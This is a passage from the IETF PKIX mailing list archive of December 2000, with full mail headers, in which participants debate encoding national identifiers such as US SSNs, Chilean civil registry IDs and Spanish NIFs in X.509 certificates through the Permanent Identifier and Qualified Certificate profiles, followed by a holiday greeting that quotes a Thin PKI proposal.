outside of the DN).  For example, the State of Michigan could get an OID 
under the US (probably has one and does not know it), then assign one to 
the Department of Motor Vehicles.  My license # now becomes a PI.  I can 
now use a MI DMV cert to assert myself for a business cert with my bank.

If you are not interested in a discussion on US SSNs, you might skip the 
rest of this message.

>In the US each person is suppose to have a Social Security Number
>(SSN) however this number may not be unique as there have been cases
>when the USG has handed out duplicates.

Many people over age 60 and some over 50 have duplicate #s.  This happened 
in the 50s when wallets were sold in the US with 'sample' SSN 
cards.  People buying those wallets thought those were their number.  Most 
of these are probably out of the system by now, thanks in large measure to 
Mediare and Medicaid.

>It is integrated into our birthing system that a person is assigned an SSN 
>at birth however
>births outside the system (e.g., home births) this isn't the case and
>a SSN may not be obtained for years.

Only recently, since the IRS required SSNs for all dependents on the 
1040.  I remember the year that I got my 3 oldest kids their #s to comply 
with the new 1040 regs.

>I believe in the Federal Witness Protection Program one can get a new SSN. 
>Finally, I don't know if it is true,

It is.  There are other ways to get new SSNs too.

>I am told one does not have to have a SSN however the US
>system is structured that you do (read: life is a hassle).

If you never file taxes and pay cash for medical care and avoid banks, you 
can do quite nicely without one.  Met some people in the hills of Tennessee 
some years ago.  Their family has avoided all of this since 1792....

Boy, did they make a good drink.

And no, I did not EVEN ASK to see the still.  That is why I am here to talk 
about it.


Robert Moskowitz
ICSA
Security Interest EMail: rgm-sec@htt-consult.com



From owner-ietf-pkix@imc.org  Wed Dec 20 11:03:34 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA00488
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 11:03:31 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA08624;
	Wed, 20 Dec 2000 07:58:52 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 07:56:27 -0800
Received: from localhost.localdomain ([206.48.156.90])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA08431
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 07:56:16 -0800 (PST)
Received: from jperez ([192.168.4.178])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id MAA17610;
	Wed, 20 Dec 2000 12:56:29 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?us-ascii?Q?Juan_Carlos_Perez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Robert Moskowitz" <rgm-sec@htt-consult.com>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: National Identifier into Serial Number or SubjectAltName? (Was: Why don't using Permanent Identifier on QC certificates?)
Date: Wed, 20 Dec 2000 12:57:39 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIMEFCCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <5.0.0.25.2.20001220091716.02ee3b50@localhost>
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

May be isn't a good idea to incorporate Permanet Identifier into a QC, as
Anders Rundgren did say to me:

"...If you use QC DN must be unique so you really do not have an alternative
but keep SerailNymber
and insert a redundant SerialNumber in a PI entry.

That's why I think PI is wrong. ..."

My principal concern is about how to incorporate a national ID into a
certificate, in a interoperable fashion.

I don't know how many countries has National IDs, and if is desired that
such ID could be to incorporated into a digital certificate, but in my
country (CHILE) so happen, and I wish to using a standard solution...

I think that QC is a good solution for certificates issued only a physical
people, and when a require a unique statement of identity

I like PI solution, mainly because I think that "Permanent Identifier" ia a
separate concept, and should be outer the DN, but I am concern about how
many support into the PKIX WG the PI has currently. Seem that QC has better
support today.

I am the Chief Technology Officer of a newly Certification Authority in my
country (we are currently not in production yet, but soon I hope :) ), and I
am strongly supporting "PKIX standards" for our certificates.

If you are not interested in a discussion on Chilean National IDs and
certificates, you might skip the
rest of this message.

In my country , Chile, the Civil Registry Authority issue a unique
identifier (on a national domain) on birth. This ID is put into a plastic
"identification card" (and biometrics information is on the card too). Every
citizen has a ID. This ID is used for many transactions: tax pay, obtaining
bank accounts, voting, ... Then I think that is nice to incorporate this ID
into a certificate, as a "virtual" identification card (whidauth photo and
biometrics).

The companies must to obtain a ID assigned by the authoruty too. This ID
uniquely identify the company into the country.


Which do you think that is the PI draft future support?

Thanks

Juan Carlos Perez Aguayo
CTO
Acepta.com
juancarlos.perez@acepta.com




From owner-ietf-pkix@imc.org  Wed Dec 20 11:34:13 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA02239
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 11:34:13 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA11879;
	Wed, 20 Dec 2000 08:30:08 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 08:28:39 -0800
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA11748
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 08:28:37 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223])
	by odin2.bull.net (8.9.3/8.9.3) with ESMTP id RAA09708;
	Wed, 20 Dec 2000 17:38:24 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97])
	by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id RAA15542;
	Wed, 20 Dec 2000 17:31:19 +0100
Message-ID: <3A40DED7.CD281A62@bull.net>
Date: Wed, 20 Dec 2000 17:31:19 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: juancarlos.perez@acepta.com
CC: Robert Moskowitz <rgm-sec@htt-consult.com>, Ietf-Pkix <ietf-pkix@imc.org>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why 
 don't using Permanent Identifier on QC certificates?)
References: <OMEPKMCLOLGHNMNOJKKIMEFCCCAA.juancarlos.perez@acepta.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Juan Carlos,

> May be isn't a good idea to incorporate Permanet Identifier into a QC, as
> Anders Rundgren did say to me:
> 
> "...If you use QC DN must be unique so you really do not have an alternative
> but keep SerailNymber
> and insert a redundant SerialNumber in a PI entry.
> 
> That's why I think PI is wrong. ..."
> 
> My principal concern is about how to incorporate a national ID into a
> certificate, in a interoperable fashion.
> 
> I don't know how many countries has National IDs, and if is desired that
> such ID could be to incorporated into a digital certificate, but in my
> country (CHILE) so happen, and I wish to using a standard solution...

The PI is not restricted to national IDs. It also works with corporate IDs.

> I think that QC is a good solution for certificates issued only a physical
> people, and when a require a unique statement of identity

The choice is not between QC and PI. Originally, it has been proposed to add
PI into the QC profile. At the Pittsburgh meeting, it has been decided that
the two documents go their own way.


> I like PI solution, mainly because I think that "Permanent Identifier" ia a
> separate concept, and should be outer the DN, but I am concern about how
> many support into the PKIX WG the PI has currently. Seem that QC has better
> support today.

No one yet support QCs. Then supporting QC does not necessarily means
supporting all the features described in QC. A good combination would be to
use both QC and PI. This means that the *optional* serial number used in the
DN would not usually be present as soon as the PI extension is present.


> I am the Chief Technology Officer of a newly Certification Authority in my
> country (we are currently not in production yet, but soon I hope :) ), and I
> am strongly supporting "PKIX standards" for our certificates.
> 
> If you are not interested in a discussion on Chilean National IDs and
> certificates, you might skip the
> rest of this message.
> 
> In my country , Chile, the Civil Registry Authority issue a unique
> identifier (on a national domain) on birth. This ID is put into a plastic
> "identification card" (and biometrics information is on the card too). Every
> citizen has a ID. This ID is used for many transactions: tax pay, obtaining
> bank accounts, voting, ... Then I think that is nice to incorporate this ID
> into a certificate, as a "virtual" identification card (whidauth photo and
> biometrics).
> 
> The companies must to obtain a ID assigned by the authoruty too. This ID
> uniquely identify the company into the country.
> 
> Which do you think that is the PI draft future support?

People usually wait for the document to reach the level of a Proposed
Standard before implementing it. We are close to that stage, but not yet
there. As mentioned during the last IETF meeting, PI is a useful, but
optional, feature. 

Regards,

Denis


> Thanks
> 
> Juan Carlos Perez Aguayo
> CTO
> Acepta.com
> juancarlos.perez@acepta.com


From owner-ietf-pkix@imc.org  Wed Dec 20 11:44:34 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA02813
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 11:44:33 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA12338;
	Wed, 20 Dec 2000 08:40:29 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 08:39:01 -0800
Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA12269
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 08:39:00 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e4.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA234906;
	Wed, 20 Dec 2000 11:41:30 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171])
	by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id LAA192474;
	Wed, 20 Dec 2000 11:40:06 -0500
Importance: Normal
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why don't
 using Permanent Identifier on QC certificates?)
To: <juancarlos.perez@acepta.com>
Cc: "Robert Moskowitz" <rgm-sec@htt-consult.com>,
        "Ietf-Pkix" <ietf-pkix@imc.org>
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF0809177C.C0CB638E-ON852569BB.0059E761@somers.hqregion.ibm.com>
From: "Tom Gindin" <tgindin@us.ibm.com>
Date: Wed, 20 Dec 2000 11:42:03 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Build V506_11152000 |November 15, 2000) at
 12/20/2000 11:42:14 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


     Responses below.  One question brought up by this thread is whether QC
should use PI now that PI has reached a similar point in the cycle.  When
QC was at draft 3 while PI was brand new, there were reasons not to delay
QC's for PI's, irrespective of PI's possible usefulness within QC's.  Those
reasons no longer apply.
     Most of the detailed responses below deal with the question of whether
there is any reason to make the DN of a governmental assignment authority
easily distinguishable from that of a private organization acting as an
assignment authority.

          Tom Gindin


Juan Carlos Perez Aguayo <juancarlos.perez@acepta.com> on 12/20/2000
11:57:39 AM

Please respond to <juancarlos.perez@acepta.com>

To:   "Robert Moskowitz" <rgm-sec@htt-consult.com>
cc:   "Ietf-Pkix" <ietf-pkix@imc.org>
Subject:  National Identifier into Serial Number or SubjectAltName? (Was:
      Why don't using Permanent Identifier on QC certificates?)



May be isn't a good idea to incorporate Permanet Identifier into a QC, as
Anders Rundgren did say to me:

"...If you use QC DN must be unique so you really do not have an
alternative
but keep SerailNymber
and insert a redundant SerialNumber in a PI entry.

That's why I think PI is wrong. ..."

My principal concern is about how to incorporate a national ID into a
certificate, in a interoperable fashion.

I don't know how many countries has National IDs, and if is desired that
such ID could be to incorporated into a digital certificate, but in my
country (CHILE) so happen, and I wish to using a standard solution...

I think that QC is a good solution for certificates issued only a physical
people, and when a require a unique statement of identity

I like PI solution, mainly because I think that "Permanent Identifier" ia a
separate concept, and should be outer the DN, but I am concern about how
many support into the PKIX WG the PI has currently. Seem that QC has better
support today.

I am the Chief Technology Officer of a newly Certification Authority in my
country (we are currently not in production yet, but soon I hope :) ), and
I
am strongly supporting "PKIX standards" for our certificates.

If you are not interested in a discussion on Chilean National IDs and
certificates, you might skip the
rest of this message.

In my country , Chile, the Civil Registry Authority issue a unique
identifier (on a national domain) on birth. This ID is put into a plastic
"identification card" (and biometrics information is on the card too).
Every
citizen has a ID. This ID is used for many transactions: tax pay, obtaining
bank accounts, voting, ... Then I think that is nice to incorporate this ID
into a certificate, as a "virtual" identification card (whidauth photo and
biometrics).

[Tom Gindin] Such an ID would be the most common case of a PI with the
assignment authority set to C=CL.

The companies must to obtain a ID assigned by the authority too. This ID
uniquely identify the company into the country.

[Tom Gindin] The only issue in implementing this is what the correct
assignment authority name would be.  If the ID's are not clearly
incompatible (a different number of digits or an alpha prefix unique to
companies, for example), they could not use the same assignment authority
name.  Do we need to standardize a specific attribute value under a
geographic unit (whether C, C + ST, C + L, or C + ST + L) to indicate
organizational ID's while reserving the unqualified geographic unit name
for personal ID's assigned by the government of that unit, or should the
government just assign an organization name which will be human-readable
but will differ between jurisdictions?  There is no obvious X.520 attribute
to standardize under, nor any in RFC 1274 nor PKCS#9.

Which do you think that is the PI draft future support?

Thanks

Juan Carlos Perez Aguayo
CTO
Acepta.com
juancarlos.perez@acepta.com





From owner-ietf-pkix@imc.org  Wed Dec 20 11:44:35 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA02824
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 11:44:34 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA12366;
	Wed, 20 Dec 2000 08:40:32 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 08:39:05 -0800
Received: from kevin.feste.es ([194.143.203.156])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA12290
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 08:39:03 -0800 (PST)
Received: from oficina (ladra.feste.es [194.143.203.155])
	by kevin.feste.es (8.9.3/8.9.3) with SMTP id SAA11711
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 18:43:38 +0100
Message-ID: <002401c06aa4$4a3e94d0$0a02a8c0@feste.es>
From: "Oscar Conesa" <oconesa@feste.org>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
References: <OMEPKMCLOLGHNMNOJKKIMEFCCCAA.juancarlos.perez@acepta.com>
Subject: RE: National Identifier into Serial Number or SubjectAltName? 
Date: Wed, 20 Dec 2000 17:45:39 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

In Spain we have the same problem. Now, we use one propietary OID
(1.3.6.1.4.1.4710.1.3.1, Safelayer) in the Subject DN to codify
the spanish personal number identificaction (NIF, Numero de identificion fiscal).
We know that is not a good solution.

I think that PI is better than propietary OID.

Thanks
Oscar Conesa
Dtor Tecnico de FESTE

----- Original Message -----
From: Juan Carlos Perez Aguayo <juancarlos.perez@acepta.com>
To: Robert Moskowitz <rgm-sec@htt-consult.com>
Cc: Ietf-Pkix <ietf-pkix@imc.org>
Sent: Wednesday, December 20, 2000 5:57 PM
Subject: National Identifier into Serial Number or SubjectAltName? (Was: Why don't using
Permanent Identifier on QC certificates?)


> May be isn't a good idea to incorporate Permanet Identifier into a QC, as
> Anders Rundgren did say to me:
>
> "...If you use QC DN must be unique so you really do not have an alternative
> but keep SerailNymber
> and insert a redundant SerialNumber in a PI entry.
>
> That's why I think PI is wrong. ..."
>
> My principal concern is about how to incorporate a national ID into a
> certificate, in a interoperable fashion.
>
> I don't know how many countries has National IDs, and if is desired that
> such ID could be to incorporated into a digital certificate, but in my
> country (CHILE) so happen, and I wish to using a standard solution...
>
> I think that QC is a good solution for certificates issued only a physical
> people, and when a require a unique statement of identity
>
> I like PI solution, mainly because I think that "Permanent Identifier" ia a
> separate concept, and should be outer the DN, but I am concern about how
> many support into the PKIX WG the PI has currently. Seem that QC has better
> support today.
>
> I am the Chief Technology Officer of a newly Certification Authority in my
> country (we are currently not in production yet, but soon I hope :) ), and I
> am strongly supporting "PKIX standards" for our certificates.
>
> If you are not interested in a discussion on Chilean National IDs and
> certificates, you might skip the
> rest of this message.
>
> In my country , Chile, the Civil Registry Authority issue a unique
> identifier (on a national domain) on birth. This ID is put into a plastic
> "identification card" (and biometrics information is on the card too). Every
> citizen has a ID. This ID is used for many transactions: tax pay, obtaining
> bank accounts, voting, ... Then I think that is nice to incorporate this ID
> into a certificate, as a "virtual" identification card (whidauth photo and
> biometrics).
>
> The companies must to obtain a ID assigned by the authoruty too. This ID
> uniquely identify the company into the country.
>
>
> Which do you think that is the PI draft future support?
>
> Thanks
>
> Juan Carlos Perez Aguayo
> CTO
> Acepta.com
> juancarlos.perez@acepta.com
>
>



From owner-ietf-pkix@imc.org  Wed Dec 20 12:45:19 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA06298
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 12:45:17 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA15387;
	Wed, 20 Dec 2000 09:41:07 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 09:40:54 -0800
Received: from femail10.sdc1.sfba.home.com (femail10.sdc1.sfba.home.com [24.0.95.106])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA15353
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 09:40:54 -0800 (PST)
Received: from C70777A ([24.15.87.228]) by femail10.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20001220174402.LCHG16074.femail10.sdc1.sfba.home.com@C70777A>;
          Wed, 20 Dec 2000 09:44:02 -0800
Message-ID: <022201c06aac$9855c190$e4570f18@plstn1.sfba.home.com>
From: "Khaja E. Ahmed" <khaja.ahmed@home.com>
To: "Dennis Glatting" <dennis.glatting@software-munitions.com>,
        <juancarlos.perez@acepta.com>,
        "Robert Moskowitz" <rgm-sec@htt-consult.com>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
References: <OMEPKMCLOLGHNMNOJKKIEEELCCAA.juancarlos.perez@acepta.com> <5.0.0.25.2.20001220091716.02ee3b50@localhost>
Subject: Re: Why don't using Permanent Identifier on QC certificates?
Date: Wed, 20 Dec 2000 09:45:08 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

I agree with Bob that an SSN in the US is fairly dependable (for some value
of fairly) as a unique identifier among US nationals.  There probably isn't
much lost by the fact that some us nationals, like Bob's Tennessee hosts,
will not be covered by this.  I sense a distinct lack of interest in
eCommerce there.

Note however that SSNs aren't just for US nationals. Visitors and foreign
nationals on student visa or H1 (temporary work) visa are also given an SSN
in the US.  So while an SSN can be used as unique identifiers for US
nationals there is no assurance of US nationality itself.  Unless there is a
number range reserved for US nationals, alien students and workers etc.

Khaja

----- Original Message -----
From: "Robert Moskowitz" <rgm-sec@htt-consult.com>
To: "Dennis Glatting" <dennis.glatting@software-munitions.com>;
<juancarlos.perez@acepta.com>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
Sent: Wednesday, December 20, 2000 6:32 AM
Subject: Re: Why don't using Permanent Identifier on QC certificates?


> At 05:49 AM 12/20/2000 -0800, Dennis Glatting wrote:
>
> SSNs are a poor identity in the US.  Agreed.  The whole QC profile would
> have to be modified for use here.  The basic idea is sound but does not
fit
> into our structure.  Other countries will probably now submit THEIR
> profiles to the IETF for inclusion as a standard.
>
> For my part, I MUCH prefer the PI method to QC method (a separate
attribute
> outside of the DN).  For example, the State of Michigan could get an OID
> under the US (probably has one and does not know it), then assign one to
> the Department of Motor Vehicles.  My license # now becomes a PI.  I can
> now use a MI DMV cert to assert myself for a business cert with my bank.
>
> If you are not interested in a discussion on US SSNs, you might skip the
> rest of this message.
>
> >In the US each person is suppose to have a Social Security Number
> >(SSN) however this number may not be unique as there have been cases
> >when the USG has handed out duplicates.
>
> Many people over age 60 and some over 50 have duplicate #s.  This happened
> in the 50s when wallets were sold in the US with 'sample' SSN
> cards.  People buying those wallets thought those were their number.  Most
> of these are probably out of the system by now, thanks in large measure to
> Mediare and Medicaid.
>
> >It is integrated into our birthing system that a person is assigned an
SSN
> >at birth however
> >births outside the system (e.g., home births) this isn't the case and
> >a SSN may not be obtained for years.
>
> Only recently, since the IRS required SSNs for all dependents on the
> 1040.  I remember the year that I got my 3 oldest kids their #s to comply
> with the new 1040 regs.
>
> >I believe in the Federal Witness Protection Program one can get a new
SSN.
> >Finally, I don't know if it is true,
>
> It is.  There are other ways to get new SSNs too.
>
> >I am told one does not have to have a SSN however the US
> >system is structured that you do (read: life is a hassle).
>
> If you never file taxes and pay cash for medical care and avoid banks, you
> can do quite nicely without one.  Met some people in the hills of
Tennessee
> some years ago.  Their family has avoided all of this since 1792....
>
> Boy, did they make a good drink.
>
> And no, I did not EVEN ASK to see the still.  That is why I am here to
talk
> about it.
>
>
> Robert Moskowitz
> ICSA
> Security Interest EMail: rgm-sec@htt-consult.com
>



From owner-ietf-pkix@imc.org  Wed Dec 20 14:55:39 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12737
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 14:55:39 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA23383;
	Wed, 20 Dec 2000 11:47:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 11:47:45 -0800
Received: from localhost.localdomain ([206.48.156.90])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA23332
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 11:47:32 -0800 (PST)
Received: from jperez ([192.168.4.178])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id QAA19664;
	Wed, 20 Dec 2000 16:47:09 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?us-ascii?Q?Juan_Carlos_Perez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Denis Pinkas" <Denis.Pinkas@bull.net>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: RE: National Identifier into Serial Number or SubjectAltName? (Was: Why  don't using Permanent Identifier on QC certificates?)
Date: Wed, 20 Dec 2000 16:48:22 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIGEFHCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <3A40DED7.CD281A62@bull.net>
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit



[snip]

>
> > I like PI solution, mainly because I think that "Permanent
> Identifier" ia a
> > separate concept, and should be outer the DN, but I am concern about how
> > many support into the PKIX WG the PI has currently. Seem that
> QC has better
> > support today.
>
> No one yet support QCs. Then supporting QC does not necessarily means
> supporting all the features described in QC. A good combination
> would be to
> use both QC and PI. This means that the *optional* serial number
> used in the
> DN would not usually be present as soon as the PI extension is present.
>
>

I understand that SerialNumber isn't *optional*, because DN has to be
unique, if the CN isn't unique.

By example, two persons that have equal names (CN, givenName.

C= CL, O= My org, OU = my Unit, CN = Jhon Davis and National ID 123
C= CL, O= My org, OU = my Unit, CN = Jhon Davis and National ID 444

Using QC, is need to incorporate National ID into DN, for uniquiness =>
SerialNumber = 123, and SerialNumber =444

If we can using not unique DNs, we can put PI for identity uniqueness into
QC.

regards

Juan Carlos






From owner-ietf-pkix@imc.org  Wed Dec 20 23:20:17 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA25534
	for <pkix-archive@odin.ietf.org>; Wed, 20 Dec 2000 23:20:14 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id UAA06505;
	Wed, 20 Dec 2000 20:16:01 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 20:15:46 -0800
Received: from chet.brysonweb.com (IDENT:root@chet.brysonweb.com [209.67.195.73])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id UAA06469
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 20:15:45 -0800 (PST)
Received: from aaron (loghost [208.58.66.79])
	by chet.brysonweb.com (8.9.3/8.9.3) with SMTP id XAA10815
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 23:20:55 -0500
From: "Aaron S. Carmichael" <aaron@timecertain.com>
To: "'PKIX-List'" <ietf-pkix@imc.org>
Subject: xmass
Date: Wed, 20 Dec 2000 23:19:14 -0500
Message-ID: <000401c06b05$2dc270e0$4f423ad0@cable.rcn.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0005_01C06ADB.44EC68E0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <004401c06739$f7b9f550$0201a8c0@vincent.se>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C06ADB.44EC68E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


Well, Merry Xmass to all...

Even if this is for PKIX only... We can all say Merry Xmass....

aaron


Aaron S. Carmichael
VP Information Technology
TimeCertain, LLC.
202-244-3243 (voice)
202-244-5694 (fax)
aaron@timecertain.com
http://www.timecertain.com

----------------------------------------
This message is for the named persons use only.  It may contain
confidential, proprietary or legally privileged information.  No
confidentiality or privilege is waived or lost by any mistransmission.  If
you receive this message in error, please immediately delete it and all
copies of it from your system, destroy any hard copies of it and notify the
sender.  You must not, directly or indirectly, use, disclose, distribute,
print, or copy any part of this message if you are not the intended
recipient. Any views expressed in this message are those of the individual
sender, except where the message states otherwise and the sender is
authorized to state them to be the views of any such entity.


-----Original Message-----
From: Anders Rundgren [mailto:anders.rundgren@telia.com]
Sent: Saturday, December 16, 2000 3:27 AM
To: PKIX-List; Stephen Kent
Subject: Digital Signature Infrastructure Was: Classic PKI vs Thin
PKI/S2ML


Steve,

> The financial community has a set of concerns that are entirely
> valid, and are NOT the whole of PKI.

maybe not, but their basic model for domain-security, and general trust
model does IMO apply to
practically the entire O2O/B2B-field. 95% or more is my educated guess.

Here is an extremely condensed version of my (unfortunately refused) RSA2001
paper on the subject.

Just to take a very simple example from the health-care sector (to get away
from the proprietary stigma
of the financial sector). An outside service provider like a catering
company that is getting orders
from "a PKI-enabled healthcare community":

Using Classical PKI, the biggest problem (except who is going to issue
certificates, potentially containing role
data) with such signatures are:
- Authority. Who has the right to perform a certain signature? And how do
you express it?
- Trace ability. How do you save signatures (i.e.
decisions/orders/prescriptions)?
- Relying party. What to interpret and trust?

Using Thin PKI the solution gets very simple although [maybe] incompatible
with current signature laws:

A. An organization representative signs using an individual cert+key. The
cert does not even have to say
    that the representative is employed by the organization or has some
particular function.
B. The signed transaction is sent to an
"organization-authority-and-signing-server" that
B.1 Checks that the cert is not revoked and coming from a trusted issuer
B.2 Checks that the individual is working for the organization and is
AUTHORIZED
to perform the signature operation
B.3 Saves the transaction as a receipt versus the representative
B.4 Removes the representative's signature. Sheltering individuals/employees
is a requirement.
